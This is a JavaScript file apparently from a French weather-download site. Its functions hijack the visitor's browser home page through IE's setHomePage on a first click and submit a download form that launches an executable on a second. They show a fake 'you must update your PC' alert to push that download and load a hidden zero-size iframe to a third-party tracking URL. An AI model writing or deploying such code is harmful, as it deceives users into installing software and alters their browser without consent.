function file(fichier){
     if(window.XMLHttpRequest) // FIREFOX
     	xhr_object=new XMLHttpRequest();
     else if(window.ActiveXObject) // IE
          xhr_object=new ActiveXObject("Microsoft.XMLHTTP");
     else
          return(false);
     xhr_object.open("GET", fichier, false);
     xhr_object.send(null);
     if(xhr_object.readyState == 4) return(xhr_object.responseText);
     else return(false);
}
function a1(){
	file('infon.php');
	document.getElementById('e1m1').style.display = 'none';
	document.getElementById('e1m2').style.display = 'block';
	document.getElementById('e1m2').style.height = '850px';
	document.getElementById('frmdl').submit();
}
function a1_OL(){
		document.getElementById('e1m1_OL').style.display 	= 'none';
		document.getElementById('e1m2_OL').style.display = 'block';
		document.getElementById('frmdl_OL').submit();
}
var click = 0;
function a2_OL(obj){
	if(click > 0){
		//alert("click2 : lancer l exe");
		document.getElementById('e1m1_OL').style.display = 'none';
		document.getElementById('e1m2_OL').style.display = 'block';
		document.getElementById('frmdl_OL').submit();}
	else{
		//alert("click1 : changer page d accueil");
		obj.style.behavior='url(#default#homepage)';
		obj.setHomePage('http://www.vizzeo.fr/meteo');
		click++;}
}
var launched = false;
var launched2 = false;
function a2(){
	file('infon2.php');
	if(launched){
    	alert("Vous devez mettre à jour votre PC");
        document.getElementById('frmdl').submit();
    } else {
		document.getElementById('frmdl').submit();
    }
    launched = true;
}
function a3(){
	file('infon2.php');
	if(launched2){
        document.getElementById('frmdl').submit();
  } else if(launched){
    	alert("Vous devez mettre à jour votre PC");
    	document.getElementById('frmdl').submit();
    	launched2 = true;
  } else {
    	if (document.getElementById){
			document.getElementById('vide').innerHTML = '<iframe src="http://www.ulysse-service.fr/w22stat/info-meteo.fr.i.php" style="height:0;width:0" scrolling="no" frameborder="0"></iframe>';
    	}else if (document.all){
    		document.all["vide"].innerHTML = '<iframe src="http://www.ulysse-service.fr/w22stat/info-meteo.fr.i.php" style="height:0;width:0" scrolling="no" frameborder="0"></iframe>';
    	}
	launched = true;
  }
}

function abo(){
	document.getElementById('e1m3').style.display = 'none';
	document.getElementById('e1m4').style.display = 'block';
	document.getElementById('e1m1').style.height = '780px';
	document.getElementById('mabo').src = 'http://tools.gibmedia.fr/meteoWha';
}